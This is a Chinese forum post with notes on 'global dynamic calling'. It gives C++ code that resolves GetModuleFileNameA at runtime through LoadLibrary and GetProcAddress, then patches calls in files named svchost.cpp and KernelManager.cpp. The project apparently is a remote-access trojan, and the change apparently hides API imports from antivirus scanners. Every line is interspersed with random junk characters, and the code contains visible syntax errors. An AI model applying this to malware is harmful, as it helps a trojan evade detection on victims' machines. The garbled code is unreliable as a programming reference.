[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记
6 X! R5 p& |, I9 }: G4 L! K5 p& ~! Msvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
3 o: J7 m6 ?: Q6 U0 K----------------------------------------
  Z8 y! Y/ b1 i; e; p* w; yDTDY.h：
  A; C/ u& `9 r0 e$ T* t* I1 _2 ]* o! U' Q7 E0 k% y3 C
#if _MSC_VER>1000
( Q$ }1 g- r1 Y. ~% w#pragma once, Y2 F! ^/ [0 ^1 ]) P
#endif //_MSC_VER>1000
0 I$ v  Y2 `7 o/ R#include<windows.h>
1 A. \! Z! X5 z( j. |: D8 S! ^: ]3 P6 z% f! w
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
. E' ?# Z# b( h0 qclass DTDY
: \6 A! X: Z4 J- K5 |) P{: m1 v( V+ Q2 ]+ O8 y" z( D
public:1 n1 S- J9 ]9 m1 v1 x& z
DTDY();
1 j; c$ G3 V7 o6 Y: cvirtual ~DTDY();- \+ S; H! E  l$ i7 Q. D1 C, I" P' t
public:
7 s( P! R6 G/ L  V$ D; mstatic pGetModuleFileNameA MyGetModuleFileName;( K/ ?  D1 y8 V& G+ x
static BOOL FunInitiallization();/ B  G+ T0 A2 E& N2 u; y% c# |. K. Q
};
# t; E' R1 p4 ~" R% S1 a/ U#endif
$ `8 l; {0 U7 y9 G  F; a" z5 n----------------------------------------+ B; z  O4 m% W' b+ _

8 c# _  N/ c9 \" C4 t! k# [. \DTDY.cpp:
* Y5 C# J3 z, ^: f( O6 C0 w5 l4 a) I. D- Z) ^6 E8 I0 k- N
#include "DTDY.h"
! g% W( k: b% X6 vpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;, Q! F/ ?" c8 v; H0 f" x& a* @2 V4 E
DTDY:TDY()# h' S/ @; `$ l
{- J' g% @0 T' L. d$ ~
}
2 u& o; b$ E" r7 D2 Y  E: U: JDTDY::~DTDY()
( Q5 v" ~/ b# l0 q{
, M' a' X/ g2 w$ M/ Z}
+ P* S1 E7 |+ ]1 Q, o- HBOOL DTDY::FunInitiallization()
4 p+ E; n' m3 V2 t: q{
) C4 q+ q! [8 \- }' x% kHMODULE hModule=LoadLibrary("kernel32.dll");$ p; t; j" T3 v& t# T
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
3 Q7 Y2 p+ l$ dif(!MyGetModuleFileName=) return FALSE;4 P- J5 ]' W7 L- P+ D
7 ^3 Y( X2 Z: O( ?) t
return TRUE;
/ K$ D. b7 z8 w) {/ \! t# }6 u3 T1 H}9 u+ N9 b: G- b1 x2 D* e( e
----------------------------------------# W( o- A7 s! M' I7 w
svchost.cpp:
9 _. c$ ?$ l6 u* G( v
# t/ D! ~; l! c. o) {6 Y. b5 s5 {#include "DTDY.h"
; i6 ]) }! W% H1 j" ?6 E
4 n& w* E4 i. M2 X* ?BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved). r: o: ^" j, P# [
{/ t3 `2 \+ f6 G. ]# v3 ~/ z8 l  H
switch(ul_reason_for_call)
3 j4 `- V" N, K3 \{
1 K7 W6 i* p2 h7 g' Zcase DLL_PROCESS_ATTACH:3 z& D$ C- z- @, y
if(!DTDY::FunInitiallization()) return FALSE;. R# M1 O) x! Y' _7 C* Y( f8 r

1 M; N0 c4 V. m( @/ b4 pbreak;
7 l* x# d% O! k+ e  \$ o; F( Z}; o  a! @, p& ]+ C% P( V& U7 e! S
}
5 ]+ Q  Y, |' ~( t# x. d. g! x* H& N4 D) {2 p
- T' H2 `; t9 ~1 m# ?; l( x( D
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def2 Z$ _6 ~, p2 m8 l( g+ a8 B
改写为
. m3 t$ ^0 _/ b1 S( p' p, wDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));& d7 M% D1 M; z4 i
----------------------------------------- T3 ]! p4 B% ^! p5 {
KernelManager.cpp:+ y& u, u2 r" B) k

' O# I: c$ Y3 h+ P# q. a#include "../DTDY.h"
, h% c" n3 ^& `5 r$ qGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
5 g: n# Q% I: N4 l$ g改写为" j, W* I% B! C% R" t
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));- k9 ~* H3 u+ a+ P; F! ]8 R$ l
----------------------------------------